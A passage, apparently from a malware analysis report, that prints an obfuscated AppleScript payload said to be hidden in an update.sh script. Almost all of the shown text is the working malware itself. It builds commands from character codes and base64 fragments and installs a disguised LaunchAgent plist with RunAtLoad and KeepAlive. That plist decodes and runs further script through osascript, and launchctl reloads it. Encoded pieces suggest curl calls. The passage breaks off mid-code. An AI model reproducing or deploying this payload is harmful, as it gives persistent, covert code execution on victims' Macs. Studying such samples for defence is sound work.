TIxLCA3MywgNzEsIDEwOCwgMTA3LCA3MywgNjgsIDg5LCAxMjAsIDc1LCA4M30pICYgImtnSmlCZlVUUklRVk5PYWtSbGN5QW1JQ2dvS0NoQlUwTkpTU0JqYUdGeVkiKSAmICgiV04wWlhJZ016Z3BJQ1lnS0VGVFEiICYgIjBsSklHTm9ZWEpoWTNSbGNpQTVPQ2twSUNZZ0tDaEJVME5KU1NCIikpICYgKCgoc3RyaW5nIGlkIHsxMDYsIDk3LCA3MSwgNzAsIDEyMSwgODksIDg3LCA3OCwgNDgsIDkwLCA4OCwgNzMsIDEwMywgNzcsIDg0LCA2NSwgNTMsIDc1LCA4MywgNjUsIDEwOSwgNzMsIDY3LCA3NCwgMTE4LCA3M30pICYgKHN0cmluZyBpZCB7MTA1LCAxMDcsIDExMiwgNzMsIDY3LCA4OSwgMTAzLCA3NSwgNjcsIDEwMywgMTA1LCA5MCwgNjcsIDczLCAxMDMsIDc0LCAxMDUsIDY1LCAxMTEsIDg5LCA1MCwgMTA0LCAxMDQsIDk5LCAxMDksIDcwLCAxMDYsIDEwMCwgNzEsIDg2LCAxMjEsIDczLCA3MSwgMTA4LCAxMDd9KSkgJiAoIklERXhOeWtwSUNZZ0tDaEJVME5KU1NCamFHRnlZV04wWlhJZ01UQTRLU0FtSUNoQlUwTkpTIiAmIChzdHJpbmcgaWQgezgzLCA2NiwgMTA2LCA5NywgNzEsIDcwLCAxMjEsIDg5LCA4NywgNzgsIDQ4LCA5MCwgODgsIDczLCAxMDMsIDc3LCA4NCwgNjUsIDEyMCwgNzUsIDgzLCAxMDcsIDExMiwgNzUsIDgzLCAxMDcsIDEwMywgNzQsIDEwNSwgNjUsIDExMSwgOTksIDUxLCA4MiwgMTIxLCA5NywgODcsIDUzLCAxMTAsIDczLCA3MSwgMTA4LCAxMDcsIDczLCA3MiwgMTE1LCAxMjIsIDc3LCAxMDUsIDExOSwgMTAzLCA3NywgODR9KSkpKSAmICgoKCJJMExDQXpNaXdnTVRFeExDQXhNVFVzSURrM0xDQXhNVFVzSURrNUxDQXhNVFFzSURFd04iICYgKHN0cmluZyBpZCB7ODMsIDExOSwgMTAzLCA3NywgODQsIDY5LCAxMjEsIDc2LCA2NywgNjUsIDEyMCwgNzcsIDg0LCA5MCwgNTcsIDc1LCA4MSwgMTExLCA3NCwgOTAsIDcxLCA1NiwgMTAzLCA5OSwgNTAsIDEwNCwgMTA4LCA5OCwgNzEsIDExOSwgMTAzLCA5OSwgNTAsIDc4LCAxMjEsIDk3LCA4OCwgNjYsIDQ4LCA3MywgNzAsIDU3LCAxMDJ9KSkgJiAoKHN0cmluZyBpZCB7ODksIDg1LCA4MiwgMTE0LCA5NywgODUsIDgyLCA1MiwgMTAwLCA2NSwgMTEyLCAxMDgsIDk4LCAxMDksIDgxLCAxMDMsIDk3LCA4NywgODl9KSAmICI9JyB8IGJhc2U2NCAtZCB8IG9zYXNjcmlwdDwvc3RyaW5nIikpICYgKChzdHJpbmcgaWQgezYyLCAxMCwgMzIsIDMyLCAzMiwgMzIsIDYwLCA0NywgOTcsIDExNCwgMTE0LCA5NywgMTIxLCA2MiwgMTAsIDMyLCAzMiwgNjAsIDQ3LCAxMDAsIDEwNSwgOTksIDExNiwgNjIsIDEwLCA2MCwgNDcsIDExMiwgMTA4LCAxMDUsIDExNSwgMTE2LCA2MiwgMTAsIDY5LCA3OCwgNjgsIDk1LCA4MCwgNzYsIDczLCA4MywgODR9KSAmIChzdHJpbmcgaWQgezEwfSkpKSkpKSkKZG8gc2hlbGwgc2NyaXB0ICgoc3RyaW5nIGlkIHsxMDgsIDk3LCAxMTcsIDExMCwgOTksIDEwNCwgOTksIDExNiwgMTA4LCAzMiwgMTE3LCAxMTAsIDEwOCwgMTExLCA5NywgMTAwLCAzMiwgMTI2LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3fSkgJiAoc3RyaW5nIGlkIHsxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyLCAxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMCwgMTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTYsIDMyLCA1MCwgNjIsIDQ3LCAxMDAsIDEwMSwgMTE4LCA0NywgMTEwLCAxMTcsIDEwOCwgMTA4fSkpCmRvIHNoZWxsIHNjcmlwdCAoKHN0cmluZyBpZCB7MTA4LCA5NywgMTE3LCAxMTAsIDk5LCAxMDQsIDk5LCAxMTYsIDEwOCwgMzIsIDEwOCwgMTExLCA5NywgMTAwLCAzMiwgMTI2LCA0NywgNzYsIDEwNSwgOTgsIDExNCwgOTcsIDExNCwgMTIxLCA0NywgNzYsIDk3LCAxMTcsIDExMCwgOTksIDEwNCwgNjUsIDEwMywgMTAxLCAxMTAsIDExNiwgMTE1LCA0NywgOTksIDExMSwgMTA5LCA0NiwgNjUsIDExMiwgMTEyLCAxMDgsIDEwMSwgNDYsIDEwMiwgMTIyLCAxMjEsIDEwOCwgMTA1LCAxMDQsIDk5LCAxMTUsIDEwNCwgMTA0LCAxMTEsIDEwNiwgMTE4LCAxMDksIDExMH0pICYgKHN0cmluZyBpZCB7MTE0LCA0NiwgMTEyLCAxMDgsIDEwNSwgMTE1LCAxMTZ9KSk=" | base64 -d)"

13.2 Layer 1: AppleScript hidden in update.sh (obfuscated)

set __nVpfdDKVjg to 67471
set _lzGSAgHF to 4798.5379
property _dyA0109CSdn : "CbxGeEqsh7HPWC5"
set __r9LvPmfWe to 96841
property __XJMqyiZD : "k0qS8QHNV5"
property _ZDW8krTkvR : "ucBLpde9bSxfJs"
property _TZKfYTsyfn : "zz3MGT8MQ"
set _ziNUOuN to (308 + 964) * 3
do shell script (((((((((string id {10, 109, 107, 100, 105, 114, 32, 45, 112, 32, 34, 36, 72, 79, 77, 69, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97}) & (string id {117, 110, 99, 104, 65, 103, 101, 110, 116, 115, 34, 59, 10, 99, 97, 116, 32, 62, 32, 34, 36, 72, 79, 77, 69, 47, 76, 105, 98, 114, 97, 114, 121, 47, 76, 97, 117, 110})) & ((string id {99, 104, 65, 103, 101, 110, 116, 115, 47, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 102, 122}) & (string id {121, 108, 105, 104, 99, 115, 104, 104, 111, 106, 118, 109, 110, 114, 46, 112, 108, 105, 115, 116, 34, 32, 60, 60, 69, 78, 68, 95, 80, 76, 73, 83, 84, 10, 60, 63, 120, 109, 108, 32, 118, 101, 114, 115, 105}))) & (((string id {111, 110, 61, 34, 49, 46, 48, 34, 32, 101, 110, 99, 111, 100, 105, 110, 103, 61, 34, 85, 84, 70}) & (string id {45, 56, 34, 63, 62, 10, 60, 33, 68, 79, 67, 84, 89, 80, 69, 32, 112, 108, 105, 115, 116, 32, 80, 85, 66, 76, 73, 67, 32, 34, 45, 47, 47, 65, 112, 112, 108, 101, 32, 67, 111, 109, 112, 117, 116, 101, 114, 47, 47, 68, 84, 68})) & ((string id {32, 80, 76, 73, 83, 84, 32, 49, 46, 48, 47, 47, 69, 78, 34, 32, 34, 104, 116, 116, 112, 58, 47, 47, 119, 119, 119, 46, 97, 112, 112, 108, 101, 46, 99, 111, 109, 47, 68, 84, 68, 115, 47}) & (string id {80, 114, 111, 112, 101, 114, 116, 121, 76, 105, 115, 116, 45, 49, 46, 48, 46, 100, 116, 100, 34, 62, 10, 60, 112, 108, 105, 115})))) & ((((string id {116, 32, 118, 101, 114, 115, 105, 111, 110, 61, 34, 49, 46, 48, 34, 62, 10, 32, 32, 60, 100, 105, 99, 116, 62, 10, 32, 32, 32, 32, 60, 107, 101, 121, 62, 76, 97, 98, 101, 108, 60}) & (string id {47, 107, 101, 121, 62, 10, 32, 32, 32, 32, 60, 115, 116, 114, 105, 110, 103, 62, 99, 111, 109, 46, 65, 112, 112, 108, 101, 46, 102, 122, 121, 108, 105, 104, 99, 115, 104, 104, 111, 106, 118, 109, 110, 114, 60, 47, 115})) & ((string id {116, 114, 105, 110, 103, 62, 10, 32, 32, 32, 32, 60, 107, 101, 121, 62, 75, 101, 101, 112, 65, 108, 105, 118, 101, 60, 47, 107, 101, 121, 62, 10, 32, 32, 32, 32}) & (string id {60, 116, 114, 117, 101, 47, 62, 10, 32, 32, 32, 32, 60, 107, 101, 121, 62, 82, 117, 110, 65, 116, 76, 111, 97, 100}))) & (((string id {60, 47, 107, 101, 121, 62, 10, 32, 32, 32, 32, 60, 116, 114, 117, 101, 47, 62, 10, 32, 32, 32, 32, 60, 107, 101, 121, 62, 80, 114, 111, 103, 114, 97, 109, 65, 114, 103, 117, 109, 101, 110, 116, 115, 60, 47, 107, 101, 121, 62, 10}) & (string id {32, 32, 32, 32, 60, 97, 114, 114, 97, 121, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 115, 116, 114, 105, 110, 103, 62, 47, 98, 105, 110, 47, 98, 97, 115, 104, 60, 47, 115, 116, 114, 105})) & ((string id {110, 103, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 115, 116, 114, 105, 110, 103, 62, 45, 99, 60, 47, 115, 116, 114, 105, 110, 103, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 115, 116, 114, 105, 110, 103}) & (string id {62, 101, 99, 104, 111, 32, 39, 99, 50, 86, 48, 73, 70, 57, 102, 82, 84, 66, 119, 84, 48, 78, 79, 86, 107, 99, 103, 100, 71, 56, 103, 77, 106, 103, 119, 78, 83, 52, 121, 77, 122, 103, 52, 67, 110, 78, 108, 100, 67, 66, 102, 88, 51, 99, 51, 82, 71, 112, 50, 82, 106, 78}))))) & (((("LIHRvICg2MSArIDUzNCkgKiA0CnByb3BlcnR5IF9fdVVqaWdvM3M" & (string id {103, 79, 105, 65, 105, 82, 109, 104, 108, 90, 72, 111, 121, 86, 86, 73, 119, 81, 105, 73, 75, 99, 50, 86, 48, 73, 70, 57, 120, 78, 109, 119, 49, 81, 107, 53, 118, 89, 105, 66, 48, 98, 121, 65, 50, 78, 122, 103, 120})) & ((string id {79, 65, 112, 119, 99, 109, 57, 119, 90, 88, 74, 48, 101, 83, 66, 102, 90, 107, 120, 89, 79, 69, 70, 121, 79, 71, 86, 105, 78, 83, 65, 54, 73, 67, 74, 88, 81, 110, 82, 120, 86, 109, 85, 122, 79, 69, 82, 97, 77, 108, 86, 87, 87, 69, 119, 105, 67, 110, 78, 108, 100, 67}) & (string id {66, 102, 88, 49, 82, 53, 90, 87, 100, 51, 87, 109, 53, 118, 83, 50, 49, 86, 73}))) & (((string id {72, 82, 118, 73, 67, 74, 113, 84, 88, 78, 66, 101, 109, 100, 69, 87, 85, 81, 119, 83, 121, 73, 75, 99, 50, 86, 48, 73, 70, 57, 102, 90, 85, 56, 49, 99, 109, 57, 80, 78, 49, 112, 116, 87, 109, 99, 103, 100, 71, 56, 103, 101, 121, 103, 111, 75, 67, 103, 111, 81, 86, 78, 68, 83}) & (string id {85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 120, 77, 105, 107, 103, 74, 105, 65, 105, 98, 121, 73, 112, 73, 67, 89, 103, 75, 67, 104})) & ("BU0NJSSBjaGFyYWN0ZXIgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTIxKSk" & "pICYgKCgoQVNDSUkgY2hhcmFjdGVyIDEwMykgJiAoY2hhcmFjdGVyIG"))) & ((("lkIDExMSkpICYgKCh" & (string id {106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 77, 84, 69, 119, 75, 83, 65, 109, 73, 67, 104})) & ((string id {66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 78, 68, 89, 112, 75, 83, 107, 112, 73, 67}) & "YgKCgoKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3Rlci")) & (((string id {66, 112, 90, 67, 65, 120, 77, 84, 81, 112, 75, 83, 65, 109, 73, 67, 103, 105, 99, 71, 77, 105, 73, 67}) & (string id {89, 103, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 48, 78, 105, 107, 112, 75, 83, 65, 109, 73, 67, 103, 111, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 77})) & ("TEpICYgKGNoYXJhY3RlciBpZCAxMTQpKSAmIChBU0NJSSBjaGFyYWN0ZXI" & (string id {103, 77, 84, 65, 122, 75, 83, 107, 112, 75, 83, 119, 103, 75, 67, 103, 111, 75, 67, 103, 105, 99, 67, 73, 103, 74, 105, 65, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 120, 77, 83, 107, 112})))))) & ((((((string id {73, 67, 89, 103, 75, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 52, 75, 83, 65, 109}) & (string id {73, 67, 104, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 77, 84, 73, 120, 75, 83, 107, 112, 73, 67, 89, 103, 75, 67, 103, 105, 90, 121, 73, 103, 74, 105, 65, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104})) & ("hcmFjdGVyIDExMSkpICYgKCJuI" & (string id {105, 65, 109, 73, 67, 73, 117, 99, 67, 73, 112, 75, 83, 107, 103, 74, 105, 65, 111, 75, 67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71}))) & (((string id {86, 121, 73, 68, 69, 120, 78, 121, 107, 103, 74, 105, 65, 105, 89, 105, 73, 112, 73, 67, 89}) & (string id {103, 75, 67, 74, 115, 73, 105, 65, 109, 73, 67, 74, 112, 89, 121, 73, 112, 75, 83, 65, 109, 73, 67, 103, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105})) & ((string id {65, 120, 77, 84, 65, 112, 73, 67, 89, 103, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 69, 112, 75, 83, 65, 109, 73}) & (string id {67, 103, 105, 90, 67, 73, 103, 74, 105, 65, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 119, 77, 83, 107, 112, 75, 83, 107, 112})))) & ((("ICYgKCIuY28iICYgKEFTQ0lJIGNoYXJhY3Rlc" & (string id {105, 65, 120, 77, 68, 107, 112, 75, 83, 107, 115, 73, 67, 103, 111, 75, 67, 103, 111, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66})) & ((string id {112, 90, 67, 65, 120, 77, 84, 73, 112, 73, 67, 89, 103, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 69, 112, 75, 83, 65, 109, 73, 67, 103, 105, 98, 67, 73, 103, 74, 105, 65, 111, 89, 50, 104, 104}) & (string id {99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 121, 77, 83, 107, 112, 75, 83, 65, 109, 73, 67, 103, 111, 75, 69, 70, 84, 81, 48}))) & (((string id {108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 68, 77, 112}) & (string id {73, 67, 89, 103, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 69, 112, 75, 83, 65, 109, 73, 67, 103, 105, 98, 105, 73, 103, 74, 105, 65, 111, 89, 50, 104})) & ("hcmFjdGVyIGlkIDQ1KSkpKSAmICgoKChjaGFyYWN0ZXIgaWQgMT" & (string id {65, 53, 75, 83, 65, 109, 73, 67, 74, 104, 73, 105, 107, 103, 74, 105, 65, 111, 73, 109, 107, 105, 73, 67, 89, 103, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 65, 112, 75, 83}))))) & (((("kgJiAoKChBU0NJSSBjaGFyYWN0ZXIgMT" & (string id {69, 119, 75, 83, 65, 109, 73, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 65, 120, 75, 83, 107, 103, 74, 105, 65, 111})) & ("KEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCA0NikpKSkpIC" & "YgKCgoKChjaGFyYWN0ZXIgaWQgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgOTc")) & (((string id {112, 75, 83, 65, 109, 73, 67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 120, 78, 105}) & (string id {107, 103, 74, 105, 65, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 119, 77, 83, 107, 112, 75, 83, 65, 109, 73, 67})) & ("goKEFTQ0lJIGNoYXJhY3RlciAxMTkpICYgImEiKSAmICgoY2hhcmFjdGVyIGl" & "kIDEyMSkgJiAoY2hhcmFjdGVyIGlkIDQ2KSkpKSAmICgoKC"))) & ((("J0IiAmICJhdCIpICYgKCJ1bS4iICYgKEFTQ0lJIGNoYXJ" & (string id {104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 68, 85, 112, 75, 83, 107, 103, 74, 105, 65, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 120, 77, 83})) & ((string id {107, 112, 75, 83, 107, 115, 73, 67, 103, 111, 75, 67, 103, 111, 75, 69, 70, 84, 81, 48, 108, 74, 73, 71, 78}) & "oYXJhY3RlciAxMTYpICYgImUiKSA")) & (((string id {109, 73, 67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 120, 77, 67, 107, 103, 74, 105, 65, 105, 90, 67, 73, 112, 75, 83, 65, 109, 73, 67, 103, 111, 75, 69, 70}) & "TQ0lJIGNoYXJhY3RlciAxMDEpICYgInIiKSAmICgoQVNDSU") & ((string id {107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 69, 119, 79, 67, 107, 103, 74, 105, 65, 105, 101, 83, 52, 105, 75, 83}) & (string id {107, 112, 73, 67, 89, 103, 75, 67, 103, 111, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 77, 84, 81, 112, 73, 67, 89, 103, 75, 69, 70, 84, 81}))))))) & (((((((string id {48, 108, 74, 73, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 65, 120, 77, 84, 73, 112, 75, 83, 65, 109, 73, 67, 103, 111}) & (string id {89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 107, 53, 75, 83, 65, 109, 73, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 78, 68, 89, 112, 75, 83, 107, 103, 74, 105, 65, 111})) & ((string id {75, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 69, 121, 75, 83, 65, 109, 73, 67, 104, 66, 85, 48, 78, 74, 83, 83, 66, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 77, 84, 69, 120, 75, 83, 107, 103}) & "JiAoKEFTQ0lJIGNoYXJhY3RlciAxMDgpICYgK")) & (("GNoYXJhY3RlciBpZCAxMjEpKSkpKSAmI" & "CgoKCgoQVNDSUkgY2hhcmFjdG") & ((string id {86, 121, 73, 68, 69, 119, 77, 121, 107, 103, 74, 105, 65, 105, 98, 121, 73, 112, 73, 67, 89, 103, 75, 67, 74, 117, 73, 105, 65, 109, 73, 67, 104, 106, 97, 71, 70}) & (string id {121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 78, 68, 89, 112, 75, 83, 107, 103, 74, 105, 65, 111, 75, 67, 104, 106, 97, 71})))) & ((((string id {70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 79, 84, 107, 112, 73, 67, 89, 103, 75, 71, 78, 111, 89, 88, 74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120}) & (string id {77, 84, 69, 112, 75, 83, 65, 109, 73, 67, 103, 111, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 119, 79, 83, 107, 103, 74, 105, 65, 111, 89, 50, 104})) & ((string id {104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 71, 108, 107, 73, 68, 69, 119, 79, 83, 107, 112, 75, 83, 107, 103, 74, 105, 65, 111, 75}) & "ChBU0NJSSBjaGFyYWN0ZXIgMTE3KSAmIChBU0NJSSBjaGFyYWN0ZXIgM")) & (("TEwKSkgJiAoKEFTQ0lJIGNoYXJhY3Rlci" & "AxMDUpICYgInR5IikpKSl9CnNldCBfX1dLN1JZQTdyIHRvICgoKC") & ((string id {104, 122, 100, 72, 74, 112, 98, 109, 99, 103, 97, 87, 81, 103, 101, 122, 69, 121, 77, 121, 119, 103, 77, 122, 81, 115, 73, 68, 69, 119, 78, 105, 119, 103}) & (string id {77, 84, 69, 49, 76, 67, 65, 120, 77, 84, 69, 115, 73, 68, 69, 120, 77, 67, 119, 103, 77, 84, 69, 48, 76, 67, 65, 120, 77, 84, 73, 115, 73, 68}))))) & (((("k5LCAzNCwgNTgsIDM0LCA1MCwgNDYsIDQ4LCAzNCwgNDQsIDM0LCAxM" & (string id {68, 107, 115, 73, 68, 69, 119, 77, 83, 119, 103, 77, 84, 69, 50, 76, 67, 65, 120, 77, 68, 81, 115, 73, 68, 69, 120, 77, 83, 119, 103, 77, 84, 65, 119, 76, 67, 65, 122, 78, 67, 119, 103, 78, 84, 103, 115, 73, 68, 77, 48, 76, 67})) & ("AxMDEsIDExNiwgMTA0LCA5NSwgOTksIDk3LCAxMDgsIDEwOCwgM" & (string id {122, 81, 115, 73, 68, 81, 48, 76, 67, 65, 122, 78, 67, 119, 103, 77, 84, 69, 121, 76, 67, 65, 53, 78, 121, 119, 103, 77, 84, 69, 48, 76, 67, 65, 53, 78, 121, 119, 103, 77, 84, 65, 53, 76, 67, 65, 120, 77, 84, 85, 115, 73, 68, 77, 48, 76, 67}))) & (((string id {65, 49, 79, 67, 119, 103, 79, 84, 70, 57, 75, 83, 65, 109, 73, 67, 104, 122, 100, 72, 74, 112, 98, 109, 99, 103, 97, 87, 81, 103, 101, 122, 69, 121, 77, 121, 119, 103, 77, 122}) & (string id {81, 115, 73, 68, 69, 120, 78, 105, 119, 103, 77, 84, 69, 120, 76, 67, 65, 122, 78, 67, 119, 103, 78, 84, 103, 115, 73, 68, 77, 48, 76, 67, 65, 48, 79, 67})) & ((string id {119, 103, 77, 84, 73, 119, 76, 67, 65, 50, 78, 83, 119, 103, 78, 84, 69, 115, 73, 68, 107, 51}) & "LCA1NCwgNDgsIDUxLCA3MCwgNTYsIDk3LCA1"))) & ((((string id {77, 105, 119, 103, 78, 84, 77, 115, 73, 68, 85, 121, 76, 67, 65, 53, 78, 121, 119, 103, 78, 84, 99, 115, 73, 68, 107, 53, 76, 67, 65, 49, 78, 51, 48, 112, 75, 83, 65, 109}) & "ICgoc3RyaW5nIGlkIHs0OCwgNTMsIDk4LCA1MiwgOTksIDUzLCA1NSwg") & ((string id {78, 84, 99, 115, 73, 68, 89, 50, 76, 67, 65, 53, 79, 67, 119, 103, 78, 84, 85, 115, 73, 68, 85, 119, 76, 67}) & (string id {65, 49, 78, 67, 119, 103, 78, 84, 65, 115, 73, 68, 85, 50, 76, 67, 65, 51, 77, 67, 119, 103, 78, 84, 85, 115, 73, 68, 89, 51, 102, 83, 107, 103, 74}))) & (((string id {105, 65, 111, 99, 51, 82, 121, 97, 87, 53, 110, 73, 71, 108, 107, 73, 72, 115, 48, 79, 83, 119, 103, 78, 84, 77, 115, 73, 68, 89}) & "3LCA1MCwgNjUsIDQ4LCAzNCwgNDQsIDM0LCAxMDAsIDk3LCAxMTYsIDk3") & ((string id {76, 67, 65, 122, 78, 67, 119, 103, 78, 84, 103, 115, 73, 68, 77, 48, 76, 67, 65, 48, 79, 67, 119, 103, 77, 84, 73, 119, 76, 67, 65, 49, 77, 67, 119, 103, 78, 84, 81, 115, 73}) & (string id {68, 85, 50, 76, 67, 65, 49, 78, 67, 119, 103, 77, 84, 65, 120, 76, 67, 65, 53, 79, 83, 119, 103, 77, 84, 65, 120, 76, 67, 65, 53, 78, 121, 119, 103, 77, 122, 81, 115, 73, 68, 69, 121, 78, 83, 119, 103, 78, 68, 81, 115, 73, 68, 77, 48, 76, 67, 65, 120, 77, 68, 103})))))) & ((((("sIDk3LCAxMTYsIDEwMSwgMTE1LCAxMTYsIDM0LCA5M" & (string id {121, 119, 103, 78, 68, 81, 115, 73, 68, 77, 48, 102, 83, 107, 112, 75, 83, 65, 109, 73, 67, 104, 122, 100, 72, 74, 112, 98, 109, 99, 103, 97, 87, 81, 103, 101, 122, 69, 119, 78, 83, 119, 103, 77, 84, 65, 119, 76, 67, 65, 122})) & ("NCwgNTgsIDQ5LCAxMjV9" & (string id {75, 83, 107, 75, 67, 110, 78, 108, 100, 67, 66, 102, 85, 84, 82, 73}))) & (((string id {81, 86, 78, 79, 97, 107, 82, 108, 99, 121, 66, 48, 98, 121, 65, 111, 99, 51, 82, 121, 97, 87, 53, 110, 73, 71, 108, 107, 73, 72, 115, 120, 77, 68, 69, 115, 73, 68}) & (string id {107, 53, 76, 67, 65, 53, 79, 67, 119, 103, 79, 84, 107, 115, 73, 68, 107, 51, 76, 67, 65, 49, 78, 105, 119, 103, 78})) & ((string id {84, 69, 115, 73, 68, 107, 53, 76, 67, 65, 48, 79, 83, 119, 103, 78, 84, 73, 115, 73, 68, 85, 48, 76, 67, 65, 49, 77, 83, 119, 103, 78, 84, 73, 115, 73, 68, 85, 51, 76, 67, 65, 120, 77, 68, 73, 115, 73, 68, 85, 48, 76, 67, 65, 49}) & (string id {78, 83, 119, 103, 78, 68, 107, 115, 73, 68, 85, 122, 76, 67, 65, 49, 78, 67, 119, 103, 79, 84, 103, 115, 73, 68, 85, 120, 76, 67, 65, 49, 77, 83, 119, 103, 77, 84, 65, 120, 76, 67, 65, 53, 79, 83, 119, 103})))) & ((((string id {79, 84, 107, 115, 73, 68, 85, 120, 76, 67, 65, 120, 77, 68, 69, 115, 73, 68, 81, 53, 76, 67, 65, 53, 78, 121, 119, 103, 77, 84, 65, 120, 76, 67, 65, 120, 77, 68, 74, 57, 75, 81}) & (string id {111, 75, 99, 109, 86, 119, 90, 87, 70, 48, 73, 72, 100, 112, 100, 71, 103, 103, 88, 49, 57, 121, 79, 69, 90, 112, 100, 72, 104, 114, 82, 51, 81, 103, 97, 87, 52, 103})) & ((string id {88, 49, 57, 108, 84, 122, 86, 121, 98, 48, 56, 51, 87, 109, 49, 97}) & "ZwoJdHJ5CgkJc2V0IF9fUGtySTFhZGdFRjkgdG8gZG8g")) & (((string id {99, 50, 104, 108, 98, 71, 119, 103, 99, 50, 78, 121, 97, 88, 66, 48, 73, 67, 103, 111, 75, 67, 103, 111, 73, 110, 73, 105, 73, 67, 89, 103, 73, 106}) & "0iKSAmICgoY2hhcmFjdGV") & ("yIGlkIDM2KSAmIChjaGFyYWN0ZXIgaWQgNDApKSkgJiAoKCJjdSIgJiAicmwiKS" & (string id {65, 109, 73, 67, 103, 111, 81, 86, 78, 68, 83, 85, 107, 103, 89, 50, 104, 104, 99, 109, 70, 106, 100, 71, 86, 121, 73, 68, 77, 121, 75, 83, 65, 109, 73, 67, 104}))))) & (((((string id {106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 78, 68, 85, 112, 75, 83, 107, 112, 73, 67, 89, 103, 75, 67, 103, 111, 75, 69}) & "FTQ0lJIGNoYXJhY3RlciAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciA") & ((string id {122, 77, 105, 107, 112, 73, 67, 89, 103, 75, 67, 104, 106, 97, 71, 70, 121, 89, 87, 78, 48, 90, 88, 73, 103, 97, 87, 81, 103, 78, 68, 85, 112, 73, 67, 89, 103, 73, 105, 49, 116, 73, 105, 107, 112, 73, 67, 89, 103, 75}) & "CgiYXgtIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTE2KSkgJiAoKGNoYX")) & (((string id {74, 104, 89, 51, 82, 108, 99, 105, 66, 112, 90, 67, 65, 120, 